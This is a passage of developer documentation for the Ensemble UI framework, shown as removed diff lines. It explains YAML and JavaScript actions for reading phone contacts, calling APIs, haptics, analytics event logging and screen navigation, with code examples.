- wifiIPv4.value = event.data.networkInfo.wifiIPv4; - wifiIPv6.value = event.data.networkInfo.wifiIPv6; - wifiGatewayIP.value = event.data.networkInfo.wifiGatewayIP; - wifiBroadcast.value = event.data.networkInfo.wifiBroadcast; - wifiSubmask.value = event.data.networkInfo.wifiSubmask; - onError: - executeCode: - body: | - status.value = event.error; -``` - ---- - -# getPhoneContacts - -The `PhoneContacts` view is designed to retrieve and display phone contacts from Android and iOS physical devices or simulators. It includes a warning note, a button to fetch contacts, and a list view to display individual contact details. - -```yaml -- Button: - label: Get Phone Contacts - onTap: - getPhoneContacts: - id: phoneContactId - onSuccess: | - // ***code - console.log("Phone Number Fetched Successfully"); - ensemble.storage.set('contacts', event.data['contacts']); - - onError: | - // ***code - console.log("Something went wrong!"); -``` -The `onSuccess` and `onError` callbacks for the "Get Phone Contacts" button. In the success callback (onSuccess), the retrieved contacts are logged to the console and stored in the `ensemble.storage.contacts`. In the error callback (onError), a message is logged indicating an issue. - -```yaml -- ListView: - id: listView - styles: - expanded: true - item-template: - data: ${ensemble.storage.contacts} - name: contact - template: - UserContact: - inputs: - contact: ${contact} -``` -The `ListView` component displaying a list of contacts (ensemble.storage.contacts). It uses the `UserContact` custom widget template for each item in the list. - ---- - -# getPhoneContactPhoto - -```yaml -UserContact: - inputs: - - contact - styles: { gap: 10 } - onLoad: - getPhoneContactPhoto: - id: contactPhotoId - contactId: ${contact.id} - - # Using JS Code - - # //@code - # ensemble.getPhoneContactPhoto({ - # id: "contactPhotoId", - # contactId: contact.id - # }); - - body: - Column: - styles: { gap: 2 } - children: - - Row: - children: - - Image: - source: ${contactPhotoId.image} - width: 100 - height: 100 - fallback: ImageFallbackWidget - - Column: - styles: { gap: 2, margin: 10 } - children: - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${contact.displayName}" - - Text: - textStyle: { fontWeight: bold, fontSize: 18 } - text: "${getPhoneNumber(contact.phones)}" - - Shape: - styles: - height: 10 - - Divider: -``` -The `UserContact` component representing the structure for displaying an individual contact. It includes an `Image` and two `Text` components for displaying the contact's display image, name and phone number. The `getPhoneContactPhoto` action is used to get the contact photo with the contactId. - -```yaml -Global: | - //@code - - if (ensemble.storage.contacts == null) { - ensemble.storage.contacts = []; - } - - function getPhoneNumber(phones) { - if (phones.length > 0) { - return phones[0].number; - } else { - return ""; - } - } -``` -The global code block initializes `ensemble.storage.contacts` as an empty array if it's null. It also includes the `getPhoneNumber` function, which extracts the primary phone number from an array of phone numbers. - ---- - -# invokeAPI - -To check out examples of the invokeAPI action, go to the [Ensemble Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e546b0d8-3220-4217-bd5c-181118154073). - -## API response object -Both the `onResponse` and `onError` actions provide reference to the API response object. The `response` object has the following propertuies available to you. - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| statusCode | number | Http status code. See details [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) | -| body | String | the actual body of the response. This is where you are mostly interested in. JSON responses are automatically parsed and made available. Other content-types are available as strings. | -| headers | array | Key value pairs of http response headers | -| reasonPhrase | String | Phrase that describes the statusCode. Http response statusCode is a 3 digit number and reasonPhrase describes that number. For example - reasonPhrase for statusCode between 200 and 299 (inclusive) is Successful. More [here](https://www.ibm.com/docs/en/cics-ts/5.5?topic=concepts-status-codes-reason-phrases) | -| type | String | By default the invokeAPI action is used to call http(s) APIs whether REST o GraphQL APIs. However, Ensemble has a deep integration with firestore. if the type is specificed as `firestore`, this action will invoke firestore APIs. For details and examples, see [Firestore Operations](pages/firebase/firestore-operations.mdx) | - -## API/invokeAPI properties -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response. This action can access the `response` object. For example - `response.body` or event overwrite the body as `response.body = myJsonObject;` | -| onError | Action | The action to handle errors. Just like onResponse, you have the `response` object available here so you can check `response.statusCode` to see what error was sent by the server and then use `response.body` to access the error response | - -## Content Types - -The API supports different content types for request bodies: - -1. **JSON (Default)** - - If no Content-Type is specified, the body is sent as JSON - - Content-Type: application/json - - By default, the Flutter framework sends the content-type header as `application/json; charset=utf-8` for json content. The presence of `charset=utf-8` while perfectly fine can cause issues for some servers. In order to make sure `charset=utf-8` is not appended to the header, set the `content-type` header as a header in your API. `Content-Type: application/json` - -Example with JSON data: - -```yaml -API: - loginUser: - uri: https://api.example.com/login - method: POST - headers: - #application/json is the default content-type. You can optionally specify the Content-Type header to make sure framework sends the header as `Content-Type: application/json`. When not specified, header will be sent as `Content-Type: application/json; charset=utf-8` - Content-Type: application/json - body: ${json} -``` - -3. **URL Encoded Form Data** - - Set Content-Type: application/x-www-form-urlencoded - - Body will be automatically encoded in URL-encoded format - -Example with URL-encoded form data: - -```yaml -API: - loginUser: - uri: https://api.example.com/login - method: POST - headers: - Content-Type: application/x-www-form-urlencoded - body: - username: ${username} - password: ${password} -``` - -**invokeAPI** is used for calling an API. You can call an API on events such as a button tap or on screen load. First, you have to declare an API: - -```yaml -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - -### Usage examples of InvokeAPI - -Now to call the API on screen load, use the `onLoad` property of the view, there are two ways to call invokeAPI as well - -##### 1. Using ensemble invokeAPI action. - -````yaml -View: - onLoad: - invokeAPI: - name: getPeople - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - -##### 2. Using JavaScript code block to execute invokeAPI action. - - - -````yaml -View: - onLoad: | - //@code - ensemble.invokeAPI("getPeople"); - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Text: - text: ${getPeople.body.results.length} records were retrieved from API - - Markdown: - text: | - Here's the API response body: - ``` - ${getPeople.body} - ``` - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -```` - - - -- **Its similar to previous only that we are now using Javascript code block**. - -To call an API on button tap, inside the body add a Button with `onTap` property: - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: getPeople - - Column: - item-template: - data: ${getPeople.body.results} - name: item - template: - Text: - text: ${item.name.first} - -API: - getPeople: - uri: https://randomuser.me/api/?results=8 - method: GET -``` - - - -## POST calls with input parameters - -You can also create a POST request and pass parameters to the API like this - - - -```yaml -View: - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDo - inputs: - name: "some value" - onResponse: | - //@code - var id = response.body.records[0].id; - postStatus.text = 'Record created: ' + id; - - Text: - id: postStatus - -API: - createToDo: - inputs: - - name - uri: "https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb" - method: "POST" - body: - records: - - fields: - desc: "${name}" -``` - - - -## Handing errors - -To handle Errors, you can use the `onError` property: - - - -```yaml - - Text: - text: Handle error - - Button: - label: Call API - onTap: - invokeAPI: - name: createToDoError - onResponse: | - //@code - apiStatus.text = 'Call was successful'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.body);//this will print out the full body of the response object. See above for all the properties of a response object - onError: | - //@code - apiStatus.text = 'API returned an error'; - //you have the response object available here so you access its properties. See top of the page for response object - console.log(response.statusCode);//this will print out the http status code of the response object. See above for all the properties of a response object - - Text: - id: apiStatus - -API: - createToDoError: - inputs: - - name - uri: 'https://api.airtable.com/v0/appDbkGS4VOiPVQR5/ToDo?api_key=keyyWz426zsnMKavb' - method: 'POST' - body: - records: "this is not what the API expects" -``` - - - -## Use in code - -You can also call an API in code block. - - - -```yaml - - Button: - label: Call API - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.invokeAPI("getNewYorkTime"); - - Text: - visible: ${getNewYorkTime.body != null} - text: Current time in NYC is ${getNewYorkTime.body.datetime} - -API: - getNewYorkTime: - uri: https://worldtimeapi.org/api/timezone/America/New_York - method: GET -``` - - - -## Properties for invokeAPI - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------- | -| id | String | Give the API an ID allows you to bind to its result. e.g. ${apiId.body...} | -| name | String | Name of the API defined in the API section | -| inputs | Object | Key value pairs ofinputs to be passed to API definition | -| onResponse | Action | The action to handle the response | -| onError | Action | The action to handle errors | - -Details about API [here](#interact-with-apis) - ---- - -# invokeHaptic - -invokeHaptic action allows users to play haptics on the device allowing better UX. It supports 5 haptics namely heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate. They are listed in decreasing order of intensity -and vibrate does a short vibrate pulse. It also supports playing haptic by JavaScript code and also has additional parameters like onTapHaptic or onChangeHaptic added to multiple widgets where haptic would be required. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------- | -| type | enum | The type of haptic to perform. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| onComplete| action | Execute another Action post executing the haptic | - -**Example** - - - -```yaml -View: - header: - title: Haptic - Column: - styles: { gap: 16, padding: 24 } - children: - - Button: - label: Using Action - onTap: - invokeHaptic: - type: lightImpact - onComplete: | - //@code - console.log("Haptic completed") - - Button: - label: Using JavaScript - onTap: | - //@code - invokeHaptic({type: lightImpact}) - - Button: - label: Using methods - onTapHaptic: lightImpact - onTap: | - //@code - console.log("Button Press") -``` - ---- - -# logEvent - -logEvent action allows you to track analytics events and user interactions using Firebase Analytics, MoEngage, or Adobe Analytics. - -## Properties -| Property | Type | Description | Default | -|:---------|:-----|:------------|:--------| -| provider | String | Analytics provider ("firebase", "moengage", "adobe") | "firebase" | -| operation | String | Operation to perform (see provider-specific operations) | "logEvent" | -| name | String | Name of the event to track (required for Firebase and MoEngage trackEvent) | - | -| parameters | Object | Additional parameters for events | {} | -| value | Any | Value for MoEngage operations (location, user attributes etc) | - | -| attributeKey | String | Key for MoEngage custom attributes | - | -| logLevel | enum | Log level ("info", "debug", "fatal") | "info" | -| onSuccess | Action | Action to execute on success | - | -| onError | Action | Action to execute on error | - | -| userId | String | User ID for Firebase setUserId operation | - | - -## Firebase Provider - -Firebase provider enables basic analytics event tracking and user identification. - -### Operations - -#### logEvent (Default) -Logs an analytics event to Firebase. Requires name and optional parameters. - -```yaml -Button: - label: Track Purchase - onTap: - logEvent: - name: purchase_complete - parameters: - amount: 99.99 - currency: USD -``` - -#### setUserId -Sets the user identifier for Firebase Analytics. - -```yaml -logEvent: - provider: firebase - operation: setUserId - userId: "user123" -``` - -## MoEngage Provider -MoEngage provider enables comprehensive user engagement features including event tracking, user attributes, and in-app messaging. - -### MoEngage User Profile Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| setUniqueId | Sets a unique identifier for a user. This should be a unique and consistent identifier for the user across sessions. | value (String) | -| setUserName | Tracks full name as a user attribute. | value (String) | -| setFirstName | Tracks first name portion as a separate user attribute. | value (String) | -| setLastName | Tracks last name portion as a separate user attribute. | value (String) | -| setEmail | Tracks user's email ID as attribute for communication and identification. | value (String) | -| setPhoneNumber | Tracks user's phone number as attribute for communication. | value (String) | -| setBirthDate | Sets user's birth date. Must be in ISO format: yyyy-MM-dd'T'HH:mm:ss.fff'Z' | value (ISO date string) | -| setGender | Sets user's gender for demographic data. | value (enum: male/female) | -| setAlias | Updates user's unique ID that was previously set via setUniqueId. Use this to migrate IDs. | value (String) | -| setLocation | Sets user's geographic location for location-based targeting. | value (Object: {latitude: number, longitude: number}) | -| setAppStatus | Indicates whether this is a fresh install or app update. | value (enum: install/update) | - -### MoEngage Custom Attributes -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| custom | Sets a custom user attribute. Supports primitive types (String, Number, Boolean), arrays of primitives, and valid JSON objects/arrays. Cannot be empty. | attributeKey (String), value (Any supported type) | -| timestamp | Sets a date/time attribute in ISO format. | attributeKey (String), value (ISO date string) | -| locationAttribute | Sets a location-based attribute for geo-targeting. | attributeKey (String), value ({latitude: number, longitude: number}) | - -### MoEngage Event & Campaign Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| trackEvent | Tracks an analytics event with optional properties. Properties support same types as custom attributes. | name (String), parameters (Object, optional) | -| showInApp | Shows an in-app message if one is available. | None | -| showNudge | Shows a non-intrusive nudge notification. If position not specified, uses default position. | value (enum: top, bottom, bottomLeft, bottomRight, any) | -| setContext | Sets the current context for in-app message targeting. Contexts determine when messages can be shown. | value (String[]) | -| resetContext | Removes all previously set contexts for in-app targeting. | None | - -### MoEngage Push Notification Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| registerForPush | Registers for push notifications (iOS only). | None | -| registerForProvisionalPush | Registers for provisional push notifications (iOS only). | None | -| passFCMToken | Passes Firebase Cloud Messaging token to SDK (Android only). | value (String - FCM token) | -| passPushKitToken | Passes PushKit token to SDK (Android only). | value (String - PushKit token) | -| passFCMPushPayload | Passes FCM push notification payload to SDK (Android only). | value (Object - FCM payload) | -| requestPushPermission | Requests push notification permission (Android 13+). | None | -| updatePermissionCount | Updates count of permission requests made. | value (Number) | -| pushPermissionResponse | Notifies SDK about push permission response. | value (Boolean) | - -### MoEngage SDK Configuration Operations -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| enableSdk | Enables all SDK features. By default enabled. | None | -| disableSdk | Disables all SDK features. | None | -| enableDataTracking | Enables analytics tracking. By default enabled. | None | -| disableDataTracking | Disables all analytics tracking. No events/attributes will be tracked. | None | -| enableDeviceIdTracking | Enables device ID tracking (Android only). By default enabled. | None | -| disableDeviceIdTracking | Disables device ID tracking (Android only). | None | -| enableAndroidIdTracking | Enables Android ID tracking. By default disabled. | None | -| disableAndroidIdTracking | Disables Android ID tracking. | None | -| enableAdIdTracking | Enables advertising ID tracking. By default disabled. | None | -| disableAdIdTracking | Disables advertising ID tracking. | None | -| logout | Invalidates current user session and creates new one. | None | -| deleteUser | Deletes current user data from MoEngage (Android only). Returns UserDeletionData. | None | - -### Examples - -#### Track Event -```yaml -logEvent: - provider: moengage - operation: trackEvent - name: "level_complete" - parameters: - level: 5 - score: 1000 -``` - -#### Set User Profile -```yaml -logEvent: - provider: moengage - operation: setUserName - value: "John Smith" - onSuccess: | - //@code - console.log("User name updated") -``` - -#### Show In-App Message -```yaml -logEvent: - provider: moengage - operation: showInApp -``` - -## Adobe Analytics Provider - -Adobe Analytics provider enables comprehensive analytics tracking, user identity management, consent management, and user profile management. - -### Core Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| trackAction | Tracks user interactions and events. | name (String), parameters (Object with event details) | -| trackState | Tracks page views and screen states. | name (String), parameters (Object with state details) | -| sendEvent | Sends an Experience event to Adobe Experience Platform Edge Network. | name (String), parameters (Object with xdmData) | - -### Identity Management Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| getExperienceCloudId | Retrieves the Experience Cloud ID (ECID). | None | -| getUrlVariables | Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. | None | -| getIdentities | Gets all identities in the Identity for Edge Network extension. | None | -| updateIdentities | Updates the currently known identities within the SDK. | parameters (Object with identities) | -| removeIdentity | Removes the identity from the stored client-side IdentityMap. | parameters (Object with item and namespace) | -| resetIdentities | Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID). | None | -| setAdvertisingIdentifier | Sets or removes the advertising identifier in the XDM Identity Map. | parameters (Object with advertisingIdentifier) | - -### Consent Management Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| getConsents | Retrieves current consent preferences. | None | -| updateConsent | Merges existing consents with given consents. | parameters (Object with allowed boolean) | -| setDefaultConsent | Sets default consent for the SDK. | parameters (Object with allowed boolean) | - -### User Profile Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| getUserAttributes | Gets user profile attributes matching provided keys. | parameters (Object with attributes array) | -| updateUserAttributes | Sets multiple user profile attributes. | parameters (Object with attributeMap) | -| removeUserAttributes | Removes user profile attributes matching provided keys. | parameters (Object with attributes array) | - -### Adobe Assurance Operations - -| Operation | Description | Required Properties | -|:----------|:------------|:-------------------| -| setupAssurance | Configures Adobe Assurance for debugging. | parameters (Object with url) | - -For detailed examples of Adobe Analytics operations, see the [Adobe Analytics documentation](../adobe-analytics.mdx). - ---- - -# Action: navigateBack - -The `navigateBack` action allows users to navigate back to the previous screen within the app’s navigation stack. It removes the current screen from the navigation history, so when the user navigates back, the previous screen reappears. This action is also useful when working with modal screens, as it closes the modal and returns the user to the originating screen. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | -| data | object | Data object to send back to the previous screen. This allows you to pass information back when navigating back. | - ---- - -## Example: Navigating Back - -In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `navigateBack` action to return to the originating screen. The `data` is used to send data back to the previous screen when navigating back. - -### Originating Screen - -```yaml -View: - styles: - scrollableView: true - body: - Column: - styles: - padding: 24 - children: - - Button: - label: Go to demo screen - onTap: - navigateScreen: - name: navigateBack Demo - onNavigateBack: - showToast: - message: ${event.data} -``` - -### Target Screen - -```yaml -View: - styles: - scrollableView: true - body: - Column: - styles: - padding: 24 - children: - - Button: - label: Go Back - onTap: - navigateBack: - data: - message: This is example of data passed when navigating back. - -``` -### Explanation - -1. **Navigate to Another Screen:** - First, the user clicks the "Go to demo screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `navigateBack Demo`. - - ```yaml - - Button: - label: Go to demo screen - onTap: - navigateScreen: - name: navigateBack Demo - onNavigateBack: - showToast: - message: ${event.data} - ``` - -2. **Trigger `navigateBack` on the Target Screen:** - On the demo screen, there’s a button with the label "Go Back." When this button is pressed, the `navigateBack` action is triggered, sending a data containing a message back to the previous screen: - ```yaml - - Button: - label: Go Back - onTap: - navigateBack: - data: - message: This is example of data passed when navigating back. - ``` - -3. **Access the data on the Originating Screen:** - When the user navigates back using the `navigateBack` action, the `onNavigateBack` event is triggered on the source screen. This event gives you access to the data sent during the `navigateBack` action via `event.data`. You can then use this data to perform actions, such as displaying a message with `showToast` or updating other UI elements on the source screen. - - ```yaml - - Button: - label: Go to demo screen - onTap: - navigateScreen: - name: navigateBack Demo - onNavigateBack: - showToast: - message: ${event.data} - ``` - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XjvL2XseLnRvYO4FS82e) - ---- - -# navigateModalScreen - -navigateModalScreen action enables users to open a specific screen or page as a modal overlay, creating a temporary and focused view to capture user input or display additional content without losing context of the main app flow. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :------------------------------------------------------- | -| name | string | Enter the Name or ID of your screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| onModalDismiss | action | Execute an Action when the modal screen is dismissed | - -#### properties-options - -| Property | Type | Description | -| :------- | :--- | :---------- | -| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | - -**Note:** To close the modal from within the modal screen, just call the [navigateBack](7-navigateBack.md) action - -**Example** - - - -```yaml -View: - title: "Action: navigateModalScreen" - styles: - scrollableView: true - - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can open new screen on above the main screen using action `navigateModalScreen` - - Button: - label: Show Modal - onTap: - navigateModalScreen: - name: Actions & events - - Markdown: - text: You can navigateModalScreen from code blocks using `ensemble.navigateModalScreen('ScreenName');`. - - Button: - label: Show Modal Using Code - onTap: - executeCode: - body: | - //@code - - // no inputs - ensemble.navigateModalScreen('Actions & events'); - //with inputs - //ensemble.navigateModalScreen({name: 'Actions & events',inputs:{input1: 'abc', input2: 'ced'}} ); -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/67ICgJIX0McKswXCybb0?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# navigateScreen - -navigateScreen action allows users to transition to a specific screen or page within the app, facilitating seamless navigation and enhancing user interaction with different sections of the application. - -Like any other action, navigateScreen may be called in YAML or in the JS code. - -### Properties - -| Property | Type | Description | -| :------------- | :----- | :-------------------------------------------------------------------------------------- | -| name | string | Enter the Name or ID of your Screen | -| inputs | object | Specify the key/value pairs to pass into the next Screen | -| options | object | [see properties](#properties-options) | -| onNavigateBack | action | triggers when users returns back to a screen it previously visited using navigateScreen | -| transition | Map | [Screen transition](#screen-transition) , [Screen transition example](#screen-transition-example) - -#### Screen Transition -Animate screen transition from one to another. - -| Property | Type | Description | -| :--- | :--- | :---| -| type | string | [transition type](#transition-type) -| alignment | string | [transition alignment](#transition-alignment) -| duration | integer| duration of transition in millisecond - -#### transition-type -| name | -| :--- | -|fade | -|rightToLeft | -|leftToRight | -|topToBottom | -|bottomToTop | -|scale | -|rotate | -|size | -|rightToLeftWithFade | -|leftToRightWithFade | -|leftToRightPop | -|rightToLeftPop | -|topToBottomPop | -|bottomToTopPop | - -#### transition-alignment -|name| -|:---| -|topLeft| -|topCenter| -|topRight| -|centerLeft| -|center| -|centerRight| -|bottomLeft| -|bottomCenter| -|bottomRight| - -#### properties-options - -| Property | Type | Description | -| :------------------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| replaceCurrentScreen | boolean | If true, the new screen will replace the current screen on the navigation history. Navigating back from the new screen will skip the current screen. | -| clearAllScreens | boolean | If true, clear out all existing screens in the navigation history. This is useful when navigating to a Logout or similar page where users should not be able to go back to the prior screens. | -| closeToasts | boolean | Determines whether toasts (temporary messages) should be closed automatically. Default is `true`. | - -**Example: Calling navigateScreen - Detailed Examples for YAML and JS** - - - -```yaml -View: - title: "Action: navigateScreen" - styles: - scrollableView: true - - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: You can navigate to another screen using action `navigateScreen` - - Button: - label: Navigate to Home - onTap: - navigateScreen: - name: Home - - - Markdown: - text: You can navigateScreen from code blocks using `ensemble.navigateScreen('ScreenName');`. - - Button: - label: Navigate to Home using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen('Home'); - - - Divider - - - Markdown: - text: | - #### Pass inputs - You have the option of passing inputs to the target screen. - - - TextInput: - id: messageInput - label: Message to pass - value: Hello there - - - Button: - label: Navigate and pass inputs - onTap: - navigateScreen: - name: "Action: navigateScreen inputs demo" - inputs: - message: ${messageInput.value} - - - Button: - label: Navigate and pass inputs using code - onTap: - executeCode: - body: | - //@code - ensemble.navigateScreen({ - "name": "Action: navigateScreen inputs demo", - "inputs": { - "message": messageInput.value - } - }); - - - Divider - - - Markdown: - text: | - #### options: clearAllScreens - By default, Ensemble retains your previous screens. On browser, user can press back button and get the previous view. - - When you need to remove all the previous screens from the history stack, as in a logout scenario, use `clearAllScreens: true`. - - - Button: - label: Navigate and clear all screen history - onTap: - navigateScreen: - name: Home - options: - clearAllScreens: true - - - Divider - - - Markdown: - text: | - #### options: replaceCurrentScreen - Sometimes when navigating to a new screen, you may not want the user to go back to the current screen. An example is after logging in, hitting back should not take the user back to the login screen. Use the flag `replaceCurrentScreen: true` to remove the current screen from the history stack. - - - Button: - label: Navigate to new screen and replace the current screen - onTap: - navigateScreen: - name: Home - options: - replaceCurrentScreen: true -``` - - - -You can try complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kgGUzKx0YiIWp96auaEO?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - -**Example: Calling navigateScreen in Javascript** - -```javascript -//navigating to a screen without any options -ensemble.navigateScreen('My Screen'); -//navigating to a screen with options -ensemble.navigateScreen({name: 'My Screen',options: {replaceCurrentScreen: true}} -``` - -### onNavigateBack - -We can also make use of onNavigateBack in our navigateScreen action to achieve certain goals like calling an API when returning to screen, updating something which was modified on visited screen etc. - -**Example** -Below is only a snippet from a use case where we can perform any action inside the onNavigateBack event. We can call an API or update any particular parameter we want - -```yaml -navigateScreen: - name: "${booking.completion_status == 'confirmed' ? 'ConfirmedTrip' : 'ConfirmTripRequest'}" - inputs: - booking: ${booking} - onNavigateBack: |- - ensemble.debug("got back") -``` - -Another example where using in context of a button we are updating certain local storage items inside the context of the onNavigateBack - -```yaml -- Button: - label: Categories - styles: - outline: true - padding: 0 - labelStyle: - fontSize: 12 - color: 4288060321 - endingIcon: - name: chevron_right - color: 4288060321 - size: 16 - onTap: null - navigateScreen: - name: Spending - onNavigateBack: |- - //@code - getCategoriesAggregate(ensemble.storage.timeSpan); - -``` - -Note: here we are chaining actions onTap -> navigateScreen -> onNavigateBack etc. Also getCategories(...) is a function used to update certain local storage items. - -- We can also pass data from the visited screen to current screen using navigateBack action. let see an example for that as well. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateBack: - data: # optional, can be simple or complex - var1: 1 - var2: "s t r i n g" -``` - -on visited screen using navigateBack we pass certain variables which can be accessed on previous screen using onNavigateBack event. - -```yaml -View: - header: - title: Home - body: - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - navigateScreen: - name: nextScreen - onNavigateBack: |- - //@code - console.log("navigated back to main screen"); - console.log(event.data); -``` - -#### Screen Transition Example - -```yaml -View: - header: - title: Screen Transition - - body: - Button: - label: Navigate transition - onTap: - navigateScreen: - name: - transition: - type: rotate - duration: 1000 - alignment: center -``` - ---- - -# navigateViewGroup - -navigateViewGroup action allows users to navigate between menu items while maintaining the menu in place. This simulate the experience when user taps on different nav items. - -To use this action, first create your [ViewGroup](#view-group). - -### Properties - -| Property | Type | Description | -| :------------- | :------ | :-------------------------------------------------------------------------------------- | -| viewIndex | integer | The index of the menu item to navigate to, starting from 0 | -| name | string | The name of the ViewGroup. This is the name given to the screen when it was created. If the current screen is part of the ViewGroup, name is not required. | - - -### Example - - -Given the following ViewGroup, named `home`: - -```yaml -ViewGroup: - BottomNavBar: - items: - - label: Screen1 - icon: - name: home - page: NavigateViewGroupScreen1 - - label: Screen2 - icon: - name: input - page: NavigateViewGroupScreen2 - - label: Screen3 - icon: - name: settings - page: NavigateViewGroupScreen3 - -``` - -Use the `navigateViewGroup` action to nvaigate between the tabs without dismissing the menu. - - -```yaml -View: - styles: - scrollableView: true - backgroundColor: 0xFFA2728D - - header: - title: Screen 2 - styles: - backgroundColor: 0xFFA2728D - - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Button: - label: Go to NavigateViewGroupScreen1 - onTap: - navigateViewGroup: - name: home - viewIndex: 0 - - - Button: - label: Go to NavigateViewGroupScreen3 - onTap: - navigateViewGroup: - name: home - viewIndex: 2 -``` - - -This action will ensure that the menu renders when you navigate to the target screen. In contrast, using `navigateScreen` action will result in only displaying the new screen without the menu. - ---- - -# notification - -notifications action provides a comprehensive and customizable solution for managing notifications within the app, including handling incoming notifications, displaying them to users, and implementing notification-related functionalities, enhancing user experience and interaction with timely updates and alerts. - -### Properties - -| Property | Type | Description | -| :-------- | :----- | :-------------------------------------------- | -| onTap | action | Execute an Action on notification is tap. | -| onReceive | action | Execute an Action on notification is receive. | - ---- - -## onNavigateBack - ---- - -# Action: onViewGroupResume - -The `onViewGroupResume` action allows users to execute actions when navigate back to the viewGroup within the app’s navigation stack. when the user navigates back, the ViewGroup reappears and action specified under `onViewGroupResume` is executed. This action is useful when working with all type of menus. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | -| Action | ensemble action | Any ensemble action that'll be executed when navigating back to ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | - - -## Example: onViewGroupResume - -In this example, we use the `navigateScreen` action to navigate to another screen, and then use the `onViewGroupResume` action to execute any user specified action while returning to screen. - -### Originating Screen - -```yaml -ViewGroup: - onViewGroupResume: - showDialog: - body: - Text: - text: onViewGroupResume executed - BottomNavBar: - items: - - label: Screen1 - icon: - name: home - page: onViewGroupResume1 - - label: Screen2 - icon: - name: input - page: onViewGroupResume2 - - label: Screen3 - icon: - name: settings - page: onViewGroupResume3 - -``` - -### Pushed Screen - -```yaml -View: - styles: - useSafeArea: true - header: - titleText: Overlay - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: This is overlay screen - - - Button: - label: Tap to Navigate Back to ViewGroup - onTap: - navigateBack: -``` -### Explanation - -1. **Navigate to Another Screen:** - First, the user clicks the "Go to another screen" button, which triggers the `navigateScreen` action, navigating to a new screen called `overlay`. - - ```yaml - - Button: - label: Go to another screen - onTap: - navigateScreen: - name: overlay - ``` - -2. **Trigger `onViewGroupResume` on the ViewGroup screen:** - On the overlay screen, there’s a button with the label "Go Back." When this button is pressed, the `onViewGroupResume` action is triggered, executing any action provided on ViewGroup screen: - ```yaml - - Button: - label: Tap to Navigate Back to ViewGroup - onTap: - navigateBack: - ``` - - -You can try complete example [here](https://studio.ensembleui.com/app/2Mc1NI4RQlrEH23sU288/screens) - ---- - -# Action: onViewGroupUpdate - -The `onViewGroupUpdate` action allows users to execute actions when update to the ViewGroup occurs. This action is useful when working with all type of menus. - -### Properties - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------- | -| Action | ensemble action | Any ensemble action that'll be executed when there's update in ViewGroup. Such as `executeCode`, `showDialog`, `showToast` etc. | - - -## Example: onViewGroupUpdate - -In this example, we use the `onViewGroupUpdate` action to execute when viewGroup is updated. - -### ViewGroup - -```yaml -ViewGroup: - BottomNavBar: - items: - - label: Screen1 - icon: - name: home - page: onViewGroupupdate1 - - label: Screen2 - icon: - name: input - page: onViewGroupUpdate2 - - label: Screen3 - icon: - name: settings 